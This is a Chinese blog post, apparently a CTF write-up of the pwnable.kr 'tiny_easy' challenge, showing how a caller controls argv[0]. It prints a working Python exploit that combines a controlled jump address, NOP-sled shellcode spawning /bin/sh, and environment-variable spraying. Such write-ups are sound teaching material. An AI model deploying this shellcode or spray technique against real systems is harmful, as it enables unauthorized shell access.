程序执行中我们所忽略的事

1、程序执行时argv[0]一定会是程序名或者程序绝对路径吗?

这个问题可能让绝大多数人困惑,因为我们所看到的基本上都符合这个结论。那什么情况下不符合呢?

这就不得不提到我做过的pwnable.kr上的tiny_easy一题了

I made a pretty difficult pwn task.
However I also made a dumb rookie mistake and made it too easy :(
This is based on real event :) enjoy.

ssh tiny_easy@pwnable.kr -p2222 (pw:guest)

程序主体就一下几行:

pop eax
pop edx
mov edx, [edx]
call edx

那么eax其实是参数个数,而edx则是argv[0]所在字符串的前4位组成的32位地址

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import os
import subprocess

jumpto = "\xb0\xaf\xb5\xff"
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
nopsled = "\x90"*4096;
payload = nopsled+shellcode

myenv = {}
# Arbitrary largeish number
for i in range(0,100):
myenv["spray"+str(i)] = payload

while True:
p = subprocess.Popen([jumpto], executable="tiny_easy", env=myenv)
p.wait()

脚本很简单,利用的是类堆喷的方法。

这里subprocess.Popen(args, executable=None, env=None)

其实args这个list中的第一个参数是argv[0],而执行的程序则是executable对应的elf文件。可以发现用户可以控制程序执行时argv[0]

当然除了subprocess有这个功能,pwntools中pwnlib.tubes.process.process(args, shell = False, executable = None, env = None, timeout = ‘default’, log_level = INFO)也可以有类似的操作

本文章装载于此


程序执行中我们所忽略的事
https://ysc2.github.io/ysc2.github.io/2023/11/09/程序执行中我们所忽略的事/
作者
Ysc
发布于
2023年11月9日
许可协议